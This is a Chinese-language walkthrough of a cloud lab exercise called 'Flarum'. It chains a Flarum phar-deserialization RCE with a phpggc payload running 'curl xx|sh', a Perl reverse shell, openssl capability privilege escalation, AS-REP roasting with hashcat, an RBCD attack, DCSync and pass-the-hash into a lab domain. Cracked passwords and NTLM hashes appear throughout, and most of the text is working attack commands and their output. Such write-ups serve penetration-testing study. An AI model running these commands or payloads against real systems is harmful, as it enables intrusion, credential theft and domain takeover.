春秋云境-Flarum

flag01

从偶遇 Flarum 开始的 RCE 之旅

上来是个爆破,administrator:1chris

P 牛这个洞就是@import引入伪协议,将结果写入 css,再data-uri('phar://./assets/forum.css')触发 phar 反序列化。

先打开 phar 写入权限:

找到 php.ini:

1
php -r "phpinfo();"

修改:phar.readonly = Off

然后直接用 phpgcc 生成 phar 包:

1
php phpggc -p tar -b Monolog/RCE6 system "curl xx|sh"

然后直接在其中用 data 的 base64 协议引用:

1
@import (inline) 'data:text/css;base64,dxxxxAAAAAAA......';

主页查看 css 发现已经可以控制,然后加载 phar 反序列化。

1
2
3
.test {
content: data-uri("phar://./assets/forum.css");
}

上面直接嗯弹没弹成,又换了弹 shell 方法才上的。

1
perl -e 'use Socket;$i="{{.IP}}";$p={{.Port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{{.Shell}} -i");};'

然后按照正常再打一次就好了。

然后这里没法用 suid 或者 sudo 提权,需要 capabilities 提权。

Linux 提权之:利用 capabilities 提权 - f_carey - 博客园

1
getcap -r / 2>/dev/null

但似乎这几个都不行,后来看别人的 wp 用的 openssl。(BYD gtfo 上没有 cap 的打法啊。)

1
openssl enc -in "/root/flag/flag01.txt"

flag03

fscan 一把 🔒

1
2
3
4
172.22.60.52    Now
172.22.60.42 XIAORANG\FILESERVER
172.22.60.15 XIAORANG\PC1
172.22.60.8 DC:XIAORANG\DC

有一大堆邮箱

找下数据库账号密码直接导出下:

root:Mysql@root123

不懂为什么挂代理之后 navicat 连不上。用哥斯拉的本机数据库管理连接的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
administrator@xiaorang.lab
huangmin@xiaorang.lab
zhangrong@xiaorang.lab
liying@xiaorang.lab
zhaoli@xiaorang.lab
zhangyan@xiaorang.lab
zhoujing@xiaorang.lab
liuying@xiaorang.lab
wanghao@xiaorang.lab
wangqiang@xiaorang.lab
wanglu@xiaorang.lab
zhaoyong@xiaorang.lab
zhangli@xiaorang.lab
wangning@xiaorang.lab
wangyu@xiaorang.lab
yangli@xiaorang.lab
zhangqian@xiaorang.lab
lishuai@xiaorang.lab
yangliu@xiaorang.lab
wangying@xiaorang.lab
chenjie@xiaorang.lab
yangyong@xiaorang.lab
lipeng@xiaorang.lab
lixin@xiaorang.lab
liukai@xiaorang.lab
machao@xiaorang.lab
lijia@xiaorang.lab
zhangping@xiaorang.lab
zhanghui@xiaorang.lab
zhangwen@xiaorang.lab
wangmin@xiaorang.lab
chenlin@xiaorang.lab
chenjuan@xiaorang.lab
lining@xiaorang.lab
wangwei@xiaorang.lab
zhangnan@xiaorang.lab
wangxia@xiaorang.lab
zhangyu@xiaorang.lab
chenchen@xiaorang.lab
wangbing@xiaorang.lab
lilin@xiaorang.lab
zhangling@xiaorang.lab
chenling@xiaorang.lab
yangmei@xiaorang.lab
liuqiang@xiaorang.lab
lihong@xiaorang.lab
lilei@xiaorang.lab
wanghuan@xiaorang.lab
wangxin@xiaorang.lab
yangping@xiaorang.lab
lijie@xiaorang.lab
wangqian@xiaorang.lab
liping@xiaorang.lab
liuhui@xiaorang.lab
zhangming@xiaorang.lab
zhangying@xiaorang.lab
libo@xiaorang.lab
liuqin@xiaorang.lab
wangchao@xiaorang.lab
liuli@xiaorang.lab
yangwei@xiaorang.lab
wangyan@xiaorang.lab
wangjian@xiaorang.lab
zhangbin@xiaorang.lab
wangli@xiaorang.lab
wangdan@xiaorang.lab
liuxia@xiaorang.lab
zhangrui@xiaorang.lab
wangdong@xiaorang.lab
wangting@xiaorang.lab
zhangjian@xiaorang.lab
wanghua@xiaorang.lab
liyan@xiaorang.lab
liufeng@xiaorang.lab
zhangbo@xiaorang.lab
liuming@xiaorang.lab
liujia@xiaorang.lab
chentao@xiaorang.lab
zhangting@xiaorang.lab
liushuai@xiaorang.lab
lijing@xiaorang.lab
wangbin@xiaorang.lab
lijian@xiaorang.lab
zhouyong@xiaorang.lab
liudan@xiaorang.lab
yangbin@xiaorang.lab
liupeng@xiaorang.lab
chenjun@xiaorang.lab
wangbo@xiaorang.lab
libin@xiaorang.lab
zhaowei@xiaorang.lab
lijuan@xiaorang.lab
chenchao@xiaorang.lab
wangming@xiaorang.lab
lifang@xiaorang.lab
wangtao@xiaorang.lab
liufang@xiaorang.lab
litao@xiaorang.lab
yangling@xiaorang.lab
yangxue@xiaorang.lab
liubin@xiaorang.lab
yangyang@xiaorang.lab
xuwei@xiaorang.lab
chenyong@xiaorang.lab
yangbo@xiaorang.lab
zhanghua@xiaorang.lab
zhaomin@xiaorang.lab
chenping@xiaorang.lab
zhanglei@xiaorang.lab
zhangliang@xiaorang.lab
zhangtao@xiaorang.lab
zhangxue@xiaorang.lab
liqian@xiaorang.lab
liwei@xiaorang.lab
chenbin@xiaorang.lab
zhangyun@xiaorang.lab
wangxue@xiaorang.lab
zhouwei@xiaorang.lab
likai@xiaorang.lab
gaofeng@xiaorang.lab
wanglei@xiaorang.lab
lijun@xiaorang.lab
liuwei@xiaorang.lab
wanggang@xiaorang.lab
liuping@xiaorang.lab
zhangning@xiaorang.lab
libing@xiaorang.lab
zhangchao@xiaorang.lab
zhangxia@xiaorang.lab
limin@xiaorang.lab
liulei@xiaorang.lab
wangling@xiaorang.lab
zhangfei@xiaorang.lab
chenlong@xiaorang.lab
liufei@xiaorang.lab
chenli@xiaorang.lab
chenyan@xiaorang.lab
chenpeng@xiaorang.lab
wangrui@xiaorang.lab
zhangfeng@xiaorang.lab
yanglin@xiaorang.lab
liutao@xiaorang.lab
liyong@xiaorang.lab
wangna@xiaorang.lab
wangjuan@xiaorang.lab
wanghui@xiaorang.lab
lilong@xiaorang.lab
lili@xiaorang.lab
zhangshuai@xiaorang.lab
zhangfan@xiaorang.lab
liujing@xiaorang.lab
liuqian@xiaorang.lab
yangfang@xiaorang.lab
chenqiang@xiaorang.lab
liqiang@xiaorang.lab
yangjun@xiaorang.lab
chenbo@xiaorang.lab
zhangyong@xiaorang.lab
wangliang@xiaorang.lab
wangxu@xiaorang.lab
chenhua@xiaorang.lab
zhouli@xiaorang.lab
liubing@xiaorang.lab
zhaojing@xiaorang.lab
yangyan@xiaorang.lab
chenfang@xiaorang.lab
zhanghao@xiaorang.lab
wangyun@xiaorang.lab
zhangxin@xiaorang.lab
zhangwei@xiaorang.lab
wangping@xiaorang.lab
wangkai@xiaorang.lab
liuchang@xiaorang.lab
lixue@xiaorang.lab
lina@xiaorang.lab
liwen@xiaorang.lab
liming@xiaorang.lab
liling@xiaorang.lab
chenwei@xiaorang.lab
lihao@xiaorang.lab
wanglin@xiaorang.lab
zhanglin@xiaorang.lab
xumin@xiaorang.lab
liuyan@xiaorang.lab
zhangmin@xiaorang.lab
zhangqiang@xiaorang.lab
yangchao@xiaorang.lab
yanghua@xiaorang.lab
ligang@xiaorang.lab
liuxin@xiaorang.lab
liuhuan@xiaorang.lab
lifeng@xiaorang.lab
liugang@xiaorang.lab
yangtao@xiaorang.lab
liuhao@xiaorang.lab
lichao@xiaorang.lab
yanghong@xiaorang.lab
chenhong@xiaorang.lab
sunwei@xiaorang.lab
zhanghong@xiaorang.lab
zhangdan@xiaorang.lab
liumin@xiaorang.lab
wangmei@xiaorang.lab
zhangjing@xiaorang.lab
liujun@xiaorang.lab
wangyong@xiaorang.lab
huangyong@xiaorang.lab
lixiang@xiaorang.lab
zhoujie@xiaorang.lab
liuchao@xiaorang.lab
liuna@xiaorang.lab
wangjing@xiaorang.lab
liuling@xiaorang.lab
chenjing@xiaorang.lab
wangqin@xiaorang.lab
wanglong@xiaorang.lab
chenlei@xiaorang.lab
yangjie@xiaorang.lab
zhangjun@xiaorang.lab
yangming@xiaorang.lab
zhangmei@xiaorang.lab
wangrong@xiaorang.lab
zhangpeng@xiaorang.lab
liuyun@xiaorang.lab
wangkun@xiaorang.lab
chenmin@xiaorang.lab
liqin@xiaorang.lab
wangfang@xiaorang.lab
liuhua@xiaorang.lab
zhangqin@xiaorang.lab
zhanglong@xiaorang.lab
zhangjie@xiaorang.lab
liliang@xiaorang.lab
liyun@xiaorang.lab
wangcheng@xiaorang.lab
yangjing@xiaorang.lab
chenying@xiaorang.lab
lihua@xiaorang.lab
liumei@xiaorang.lab
yangjuan@xiaorang.lab
lidan@xiaorang.lab
liyang@xiaorang.lab
zhaojun@xiaorang.lab
liuyong@xiaorang.lab
zhoumin@xiaorang.lab
chenyun@xiaorang.lab

把用户名洗出来,然后用 GetNPUsers 看看有没有 AS-REP Roasting

1
GetNPUsers.py -dc-ip 172.22.60.8 xiaorang.lab/ -usersfile users.txt
1
2
$krb5asrep$23$wangyun@XIAORANG.LAB:73115bc16c99b1485cc588142eb1c904$027f9add454145294958b62f0102b55a9085b4b9d5694fcbef8b1d0b72733701ccc3f6d111e7f1d39db0fafe80493cd93f41dd1e8c23c91072f2a2753dab7583d934a2366214a615b8e9acbebae2b0a8d0a48f78e526f91ff46e3de7244cd13851e4526742dacda4bf88b2fe53dd03a2e5c7db23dbdf3e59ebc0aa1af448cb74545ad1229c340677d315a2267ab096571e46326904121724fe5ff39e99bf5db9f35f7f4fe780204a39c198ddbfe17ba2a81f01cb1f3a9c0704bb4c0028458440b9b97bb8ceb3e346b794b34b3bc61d7ea212339494502672d9b0deda26bec17c54d76935c765a64fbfb28b88
$krb5asrep$23$zhangxin@XIAORANG.LAB:15a27fffff2a68b2ad06f792d8ce893c$05b3aab83aed2bdbda2644a81cadcf9904b8f886e53f9aae94d2719951fedea1804ab5bb6ab1a6245fd459db59d21f4231b44de7579fe71c3ed4243f1a4e7896ba4992a8a5f52fd5e0118c7d1f2e52d402caa1c6bf76363f331d49999f128eefdfd52f3c7cc72638f15f5a47499b6e1bfcd3f8483fdbf5b9362f3562081cad1e7615f6f38345522d2c1b63094199d8ce54ce3ff2c0a4885ab7f3016a5fb444f4b61d359c37066cde2dc7ab955958afec99cda8a4d38f4b63d8d020fb9da1c660a44e4495f15098d124334c69d9edc169e939ff4679940c1239db3aed203d399d5fa3f662ec23d48578513ae2

hashcat 爆破下。

1
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

第一个能爆破出来,第二个不行

wangyun:Adm12geC

bloodhound 一把 🔒。

1
bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab --dns-tcp -ns 172.22.60.8 -c All --zip

zhangxin 属于 Account Operators 对域内所有非域控中机器有 Generic All 权限,FILESERVER 机器有 DCSync。用 zhangxin 对 FILESERVER 配置 RBCD,然后 DCSync 拿 DC。

XIAORANG\wangyun:Adm12geC登录172.22.60.15里面有 xshell,拿凭据。

GitHub - uknowsec/SharpDecryptPwd: 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。源码:https://github.com/RowTeam/SharpDecryptPwd

https://github.com/JDArmy/SharpXDecrypt

这个前面这个工具有问题。

zhangxin:admin4qwY38cc@172.22.60.45

然后正常打 RBCD,创建机器用户,下面这里我打过一次。

春秋云境-2022 网鼎杯半决赛复盘

1
addcomputer.py -method SAMR xiaorang.lab/zhangxin:admin4qwY38cc -computer-name test$ -computer-pass '123qwe!@#' -dc-ip 172.22.60.8

获取 sid:

一种是传 powerView.ps1 上去,然后执行:

1
2
Import-Module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3535393121-624993632-895678587-1116

这个要 zhangxin 运行下面这个。psexec 好像咩开共享,rdp 连下运行下也可以

注意这下面这个有俩参数,一个是 Osid 一个是 DomainComputer 的名称。

1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer FileServer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

记得改 hosts

1
getST.py -dc-ip 172.22.60.8 xiaorang.lab/test`$:123qwe!@# -spn cifs/Fileserver.xiaorang.lab -impersonate administrator

引用 ccache

1
$env:kRB5CCNAME='administrator@cifs_Fileserver.xiaorang.lab@XIAORANG.LAB.ccache'
1
psexec.py Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk

flag04 & flag02

1
secretsdump.py -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8

抓主机 hash

1
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::

打 FileServer 的 DCSync

1
secretsdump.py xiaorang/Fileserver`$@172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -just-dc-user Administrator
1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::

直接登 DC 和 PC1

1
smbexec.py XIAORANG/Administrator@172.22.60.8 -hashes :c3cfdc08527ec4ab6aa3e630e79d349b -codec gbk

1
smbexec.py XIAORANG/Administrator@172.22.60.15 -hashes :c3cfdc08527ec4ab6aa3e630e79d349b -codec gbk

总结

  • Flarum RCE
  • capabilities 提权 openssl
  • 身份为 Acount Operators ,存在 GenericAll 的 RBCD
  • DCSync

REF